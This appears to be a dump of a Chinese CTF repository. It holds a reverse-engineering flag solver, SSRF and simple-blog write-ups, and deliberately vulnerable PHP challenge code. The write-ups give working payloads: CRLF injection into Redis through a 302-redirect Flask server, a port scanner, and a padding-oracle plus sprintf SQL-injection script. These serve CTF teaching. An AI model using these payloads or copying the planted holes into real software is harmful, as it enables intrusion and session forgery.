				num = num.replace('h','').strip()
			flag_op[flag_index].append("+" + str(int(num,16)))
			# print(index)
			index += 1
		elif "sub" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("-" + str(int(num,16)))
			index += 1
		elif "xor" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("^" + str(int(num,16)))
			index += 1
		else:
			print("I forget %s!"%operation[index])
		
		# then ,we should check out the next is mov or not, because there are push to obscure
		if "mov" in operation[index]:
			# this mean our operation is finish
			# print("Ohhh no , we skip {}".format(operation[index]))
			continue
		else:
			# this is obsecure with operation
			if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
			# print("we finish pop at {}".format(operation[index]))
			# next ,we check if we need others operations
			if "add" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("+" + str(int(num,16)))
			elif "sub" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("-" + str(int(num,16)))
			elif "xor" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("^" + str(int(num,16)))
				# xor 
				index += 1
			# and next must be "mov"
			elif "mov" in operation[index]:
				continue
			else:
				print("I must be wrong at {}".format(operation[index]))
				index += 1
			if "mov" not in operation[index]:
				if 'push' in operation[index]:
					while not ("pop"  in operation[index] and "push" not in operation[index+1]):
						index += 1
						# now index is in pop
					index += 1
					# this must be mov 
					if "mov" not in operation[index]:
						print("My gold {}".format(operation[index]))
				else:
					print("this has some question {}".format(operation[index]))
				
	else:
		index += 1

print(flag_op[0])
# print(flag_op[1][1] == flag_op[0][1])
for i in range(0,256):
	num = i
	for each_op in flag_op[0]:
		if each_op[0] == '-':
			num = num - int(each_op[1:])
		elif each_op[0] == '+':
			num = num + int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			num = ctypes.c_ubyte(num).value ^ ctypes.c_ubyte(int(each_op[1:])).value	
	# print(num,end= ',')
	if ctypes.c_ubyte(num).value == 0xf2:
		print(i)
		break

for i in range(len(flag_op)):
	flag_op[i].reverse()
	for each_op in flag_op[i]:
		if each_op[0] == '-':
			flag[i] = flag[i] + int(each_op[1:])
		elif each_op[0] == '+':
			flag[i] = flag[i] - int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			flag[i] = ctypes.c_ubyte(flag[i]).value ^ ctypes.c_ubyte(int(each_op[1:])).value


print(flag)
for i in flag:
	print(chr(ctypes.c_ubyte(i).value),end = '')
```



================================================
FILE: src/re/滑稽博士/滑稽博士.md
================================================
# 滑稽博士

纯粹的游戏。

当初的设计思路是进行游戏作弊的时间消耗要比完整逆向出flag的长,也就是诱导各位写游戏外挂。

但是出题人自己的代码力不是很足,最后程序结构写崩了...

无奈只好改动成一般的一个程序。

使用C++编写,里面用了不少的继承和虚函数,但是都和falg没有什么关系(笑)。

思路有很多,可以直接搞清楚程序流,定位和flag相关的部分。

或者也可以找到游戏里面生成敌人的代码,把Hp改成1,然后通关游戏获得Flag。

代码就不上了,烂到难以形容。

================================================
FILE: src/web/l-plarground/writeup.md
================================================
# ssrf_writeup

## 0x00.前期准备

### 1.环境介绍

服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

### 2.源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。

nginx相关配置文件如下:
```
        upstream app_server {
                server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;
        }

        server {
                listen 80;
                server_name localhost;
                keepalive_timeout 5;
                location ~* \.(py|sqlite3|service|sock|out)$ {
                        deny all;
                }
                location /static  {
                        alias /home/grt1st/ctf_django/static/;
                }
                location / {
                        add_header Server Django/1.11.5;
                        add_header Server CPython/3.4.1;                        
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Scheme $scheme;
                        proxy_redirect off;
                        proxy_pass http://app_server;
                }
        }

```

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。
```
[unit]
Description=gunicorn daemon
After=network.target

[Service]
User=nobody
Group=nogroup
WorkingDirectory=/home/grt1st/ctf_first
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

[Install]
WantedBy=multi-user.target
```

然后进入目录,启动服务。

```
cd /home/grt1st/ctf_first/
sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi
```

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境`source activate ctf`,然后启动ctf_second:`python ./ctf_second/ctf_second.py`


## 0x01.

首先访问网址,我们可以看到网页如图:

![1.png](pic/1.png)

值得注意的是两点,一个是**user名字**,还有一个`You can input any url you like`。

我们在输入框随便输入`sina.com`,可以看到返回内容:

![2.png](pic/2.png)

打开f12开发者工具可以看到:

![3.png](pic/3.png)

这里我们已经可以看出,url请求的结果来自于服务器,这里有极大可能是一个ssrf漏洞。

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器`nc -l -p 12345`,然后我们输入`公网ip:12345`。

可以在我们的云服务器上看到:
```
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Host: 123.206.60.140:12345
User-Agent: python-requests/2.18.4
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate
```

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接`127.0.0.1`,或者是进行一些进制转换、302跳转等等,但是我们会发现,一筹莫展,这些都被拦截了。

但是真的一点办法都没有吗?如果仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试`http://localhost/static/`、`http://localhost/static../`、`http://localhost/static../manage.py`,返回403;`http://localhost/static../xxx`,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在__pycache__目录下存放预编译模块,于是依次下载文件:`http://localhost/static../__pycache__/__init__.cpython-34.pyc`、`http://localhost/static../__pycache__/urls.cpython-34.pyc`、`http://localhost/static../__pycache__/settings.cpython-34.pyc`

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件:`views.cpython-34.pyc`、`forms.cpython-34.pyc`、`html_parse.cpython-34.pyc`、`sess.cpython-34.pyc`、`safe.cpython-34.pyc`。

分析代码可知,只有我们的user名为`administrator`才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是`django-redis-sessions`。

再分析代码逻辑,我们可以看到很多绕过方式都被拦截了。但是很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

```
➜  ~ ping -c 4 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms

--- 0 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms
```

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。

写一个脚本,看一下内网有什么服务,很简单的脚本:

```python
import requests
from lxml import etree
import re

s = requests.Session()
url = "localhost"
pattern = re.compile(r'[Errno 111] Connection')

def get_token(sess):
    r = sess.get(url)
    html = etree.HTML(r.text)
    t = html.xpath("//input[@name='csrfmiddlewaretoken']")
    try:
        token = t[0].get('value')
    except IndexError:
        print("[+] Error: can't get login token, exit...")
        os.exit()
    except Exception as e:
        print(e)
        os.exit()
    return token

for i in 10000:
    payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}
    r = s.post(url, data=payload)
    if re.search(pattern, r.text):
        print(i)
```

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:
```html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="/" method="get"> <input type="text" name="url" id="url" > <input type="submit" value="submit"> </form> </body> </html>
```

看起来是一个GET方式的表单,这里我们传递表单的参数看一下`0:5000?target=http://baidu.com`:

```html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>
```

我们看到返回了内容,在用云服务器试一下`nc -l -p 12345`,输入参数`0:5000?target=http://公网ip:12345`:

```html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>timed out</p> </body> </html>
```

服务器请求timed out,再看服务器:
```
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140:12345
```

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:"0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345",看到服务器端:

```
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140
X-injected: header
x-leftover: :12345
```

我们成功的进行了http头部注入,可以拿来操纵redis。

那我们怎么通过0:5000打redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。

同样的,在我们的云服务器上,通过flask进行简单的测试:

```python
from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/')
def test():
    return redirect('http://127.0.0.1:80/', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')
```

看到返回:
```html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>
```

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的**源码**,本地搭建环境,并安装[django-redis-sessions](https://github.com/martinrusev/django-redis-sessions)。

先访问本地,之后查看redis储存的键值对。

```
redis-cli
keys *
get xxxxxxxxxx
```

看到返回的字符串像是经过base64后的:`NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==`

尝试解码:

```
➜  ~ ipython
Python 3.6.2 (default, Jul 20 2017, 03:52:27) 
Type 'copyright', 'credits' or 'license' for more information
IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U
   ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="

In [3]: base64.b64decode(a)
Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'
```

对比网页里的`hello, uesr: 1930ea31e41f0`,我们可以把用户名替换为`administrator`。

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回`administrator`。于是我们清除cookie,重新启动本地的django并监控redis:`redis-cli monitor`,得到`administrator`的序列化字符串`"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="`

所以我们可以通过http头部注入执行redis命令,创建用户名为`administrator`的键值对。

我们云服务器端的302跳转地址如下:`http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/`,拆开看,即`set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==`

但是这里实际上有一个坑,url太长会报错:`UnicodeError: label empty or too long`,报错的文件在`/usr/lib/pythonx.x/encodings/idna.py`,报错在这里:
```
        if 0 < len(label) < 64:
            return label
        raise UnicodeError("label empty or too long")
```

所以我们要控制url长度,比如通过`append`来给键加值,基本缩略如`http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379`。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

本地测试发现,最短的键名为8位字符,比如`h1234567`,于是缩减到`http://0%0d%0aset%20h1234567%20值%0d%0a:6379`

尝试: 
`http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379`、

`http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379`、

`http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379`、

`http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379`、

`http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379`、

`http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379`、

即可进行拼接,创建文件`flask_poc.py`:
```python
from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/redis')
def test():
    return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)

@app.route('/redis1')
def test1():
    return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)

@app.route('/redis2')
def test2():
    return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)   

@app.route('/redis3')
def test3():
    return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)

@app.route('/redis4')
def test4():
    return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)    

@app.route('/redis5')
def test5():
    return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')
```

本地测试,可以看到:
```
127.0.0.1:6379> keys *
1) "ubar4t1tpicq8152csdr351pabbkl0a6"
2) "h1234566"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZ"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="
```

修改本地cookies sessionid的值为`h1234566`,已经成功。

于是我们在网址上分别进行输入`0:5000?target=公网ip/redis`、redis1、2...

然后修改cookies,成功得到flag。

================================================
FILE: src/web/simple-blog/src/README.md
================================================
### 题目文件说明
```
web1.sql         //题目的数据库配置,导入完一定要删掉
config.php       //题目配置文件
index.php        //题目入口
login.php        //登录界面
.login.php.swp   //登录界面源码泄露文件
admin.php        //题目后台
.admin.php.swp   //题目后台源码泄露文件
css
js
img              //这三个文件夹都是前端的东西
```

### WriteUp

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在`login.php, admin.php`两个文件,访问`admin.php`可以发现有权限控制,访问`login.php`是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是`Login failed.`,但是账号密码都输入`admin`的话会跳转到`admin.php`,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到`login.php, admin.php`都存在备份文件:`.login.php.swp, .admin.php.swp`

下载备份文件`.login.php.swp`得到源码,源码关键的部分:

```
function get_identity(){
	global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id==='admin'){
    	$_SESSION['isadmin'] = 1;
    }else{
    	$_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}
```
可以看到在session中也做了身份验证,但是由于加密模式是`aes-128-cbc`,且`$token`在cookie里,可控,所以这里可以进行**Pading Oracle Attack**,通过修改`$token`可以把`$_SESSION['isadmin']`改为1(如果不清楚**Pading Oracle Attack**的原理的话可以看一下我写过的一篇[博客](http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/)),这样就成功登录进了`admin.php`。

通过下载`.admin.php.swp`可以得到`admin.php`的源码,发现里面存在数据库操作
```
if(isset($_GET['id'])){
	$id = mysql_real_escape_string($_GET['id']);
	if(isset($_GET['title'])){
		$title = mysql_real_escape_string($_GET['title']);
		$title = sprintf("AND title='%s'", $title);
	}else{
		$title = '';
	}
	$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
	$result = mysql_query($sql,$con);
	$row = mysql_fetch_array($result);
	if(isset($row['title'])&&isset($row['content'])){
		echo "<h1>".$row['title']."</h1><br>".$row['content'];
		die();
	}else{
		die("This article does not exist.");
	}
```
乍看之下似乎有`mysql_real_escape_string()`所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。

在PHP的`sprintf`这个函数中`%\`会被当成一个格式化字符串,如图
![](https://i.imgur.com/cSXxM1a.jpg)
可以看到`%\`和`%y`一样被当做了一个不存在的类型的格式化字符串,所以输出为空

所以利用这个原理,我们可以传入`title=%' or 1#`,此时因为`mysql_real_escape_string()`的存在单引号前会被加上一个`\`,那么最后拼接到语句里就是
```
sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);
```
这样`%`就会吃掉后面的`\`组成一个格式化字符串,单引号就成功逃逸了出来。

但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法`%1$s`,其中`%`后面的数字就表示引用第几个参数,`$`后面是格式化字符串的类型,如图
![](https://i.imgur.com/zIM5IBA.jpg)

所以我们传入`title=%1$' or 1#`,经过转义最后拼接到语句里就是
```
sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);
```
这样title那里引用的也是第一个参数`$id`,就不会报参数不足的错了

具体的原理可以看[这篇文章](https://paper.seebug.org/386/)

所以最终SQL注入的payload就是:`?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23`

整个题目可由一个脚本跑出最终flag:
```
#-*- coding:utf-8 -*-

import requests
import base64

url = 'http://47.95.219.135:8300/login.php'
N = 16

def inject_token(token):
    cookie = {"token": token}
    result = s.get(url, cookies = cookie)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N-l) * (N-l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i - 1))
            c=chr(0) * (16 - i) + chr(j) + padding
            print c.encode('hex')
            result = inject_token(base64.b64encode(c))
            if "<html>" in result.content:
                print result.content
                get = chr(j^i) + get
                break
    return get

data={'username': "admin", 'password': 'admin'}
while 1:
    s = requests.session()
    cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token
    session = cookies[0].split(";")[0][10:]
    token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            middle = chr(i) + middle1   #padding_oracle只能得到15位,爆破第一位
            print "session: " + session
            print "token: " + token
            print "middle: " + base64.b64encode(middle)
            plaintext = xor(middle, token);
            print "plaintext: " + plaintext
            des = pad('admin', N)
            tmp = ""
            print "padtext: " + base64.b64encode(des)
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print "inject_token: " + base64.b64encode(tmp)
            result = inject_token(base64.b64encode(tmp))
            if "css/login.css" not in result.content:
                #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#"  #注表名
                #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#"    #注列名
                payload = "%1$' union select 1,2,f14g from `key`#" #注字段
                params = {'id': '0', 'title': payload}
                r = s.get("http://47.95.219.135:8300/admin.php", params = params)
                print r.content
                print "success"
                exit()
```
注入时也有一个小坑,`key`这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。


================================================
FILE: src/web/simple-blog/src/admin.php
================================================
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
	die('You are not admin');
}

if(isset($_GET['id'])){
	$id = mysql_real_escape_string($_GET['id']);
	if(isset($_GET['title'])){
		$title = mysql_real_escape_string($_GET['title']);
		$title = sprintf("AND title='%s'", $title);
	}else{
		$title = '';
	}
	$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
	$result = mysql_query($sql,$con);
	$row = mysql_fetch_array($result);
	if(isset($row['title'])&&isset($row['content'])){
		echo "<h1>".$row['title']."</h1><br>".$row['content'];
		die();
	}else{
		die("This article does not exist.");
	}
}
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>adminpage</title>
	<link href="css/bootstrap.min.css" rel="stylesheet">
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</head>
<body>
	<nav class="navbar navbar-default" role="navigation">
   <div class="navbar-header">
      <a class="navbar-brand" href="#">后台</a>
   </div>
   <div>
      <ul class="nav navbar-nav">
         <li class="active"><a href="#">编辑文章</a></li>
         <li><a href="#">设置</a></li>
      </ul>
   </div></nav>
   <div class="panel panel-success">
   <div class="panel-heading">
      <h1 class="panel-title">文章列表</h1>
   </div>
   <div class="panel-body">
      <li><a href='?id=1'>Welcome to myblog</a><br></li>
      <li><a href='?id=2'>Hello,world!</a><br></li>
      <li><a href='?id=3'>This is admin page</a><br></li>
   </div>
   </div>
</body>
</html>


================================================
FILE: src/web/simple-blog/src/config.php
================================================
<?php
define("SECRET_KEY", "2d3d16890f5d0a2411f729797c85c106"); 

function get_random_id(){
    $random_id = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 15; $i++){
        $random_id .= substr($str, rand(1, 61), 1);
    }
    return $random_id;
}

$con = mysql_connect("localhost", "ctf", "ctf");
if (!$con){
  die('Could not connect: ' . mysql_error());
}
mysql_select_db("web1", $con);

if($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
    $id = 'admin';
}else{
    $id = get_random_id();
}
?>

================================================
FILE: src/web/simple-blog/src/css/login.css
================================================
/* NOTE: The styles were added inline because Prefixfree needs access to your styles and they must be inlined if they are on local disk! */
      @import url(https://fonts.googleapis.com/css?family=Open+Sans);
.btn { display: inline-block; *display: inline; *zoom: 1; padding: 4px 10px 4px; margin-bottom: 0; font-size: 13px; line-height: 18px; color: #333333; text-align: center;text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); vertical-align: middle; background-color: #f5f5f5; background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6); background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6); background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6); background-image: -o-linear-gradient(top, #ffffff, #e6e6e6); background-image: linear-gradient(top, #ffffff, #e6e6e6); background-repeat: repeat-x; filter: progid:dximagetransform.microsoft.gradient(startColorstr=#ffffff, endColorstr=#e6e6e6, GradientType=0); border-color: #e6e6e6 #e6e6e6 #e6e6e6; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border: 1px solid #e6e6e6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); cursor: pointer; *margin-left: .3em; }
.btn:hover, .btn:active, .btn.active, .btn.disabled, .btn[disabled] { background-color: #e6e6e6; }
.btn-large { padding: 9px 14px; font-size: 15px; line-height: normal; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; }
.btn:hover { color: #333333; text-decoration: none; background-color: #e6e6e6; background-position: 0 -15px; -webkit-transition: background-position 0.1s linear; -moz-transition: background-position 0.1s linear; -ms-transition: background-position 0.1s linear; -o-transition: background-position 0.1s linear; transition: background-position 0.1s linear; }
.btn-primary, .btn-primary:hover { text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); color: #ffffff; }
.btn-primary.active { color: rgba(255, 255, 255, 0.75); }
.btn-primary { background-color: #4a77d4; background-image: -moz-linear-gradient(top, #6eb6de, #4a77d4); background-image: -ms-linear-gradient(top, #6eb6de, #4a77d4); background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#6eb6de), to(#4a77d4)); background-image: -webkit-linear-gradient(top, #6eb6de, #4a77d4); background-image: -o-linear-gradient(top, #6eb6de, #4a77d4); background-image: linear-gradient(top, #6eb6de, #4a77d4); background-repeat: repeat-x; filter: progid:dximagetransform.microsoft.gradient(startColorstr=#6eb6de, endColorstr=#4a77d4, GradientType=0);  border: 1px solid #3762bc; text-shadow: 1px 1px 1px rgba(0,0,0,0.4); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.5); }
.btn-primary:hover, .btn-primary:active, .btn-primary.active, .btn-primary.disabled, .btn-primary[disabled] { filter: none; background-color: #4a77d4; }
.btn-block { width: 100%; display:block; }

* { -webkit-box-sizing:border-box; -moz-box-sizing:border-box; -ms-box-sizing:border-box; -o-box-sizing:border-box; box-sizing:border-box; }

html { width: 100%; height:100%; overflow:hidden; }

body { 
    width: 100%;
    height:100%;
    font-family: \'Open Sans\', sans-serif;
    background: #092756;
    background: -moz-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%),-moz-linear-gradient(top,  rgba(57,173,219,.25) 0%, rgba(42,60,87,.4) 100%), -moz-linear-gradient(-45deg,  #670d10 0%, #092756 100%);
    background: -webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -webkit-linear-gradient(top,  rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -webkit-linear-gradient(-45deg,  #670d10 0%,#092756 100%);
    background: -o-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -o-linear-gradient(top,  rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -o-linear-gradient(-45deg,  #670d10 0%,#092756 100%);
    background: -ms-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -ms-linear-gradient(top,  rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -ms-linear-gradient(-45deg,  #670d10 0%,#092756 100%);
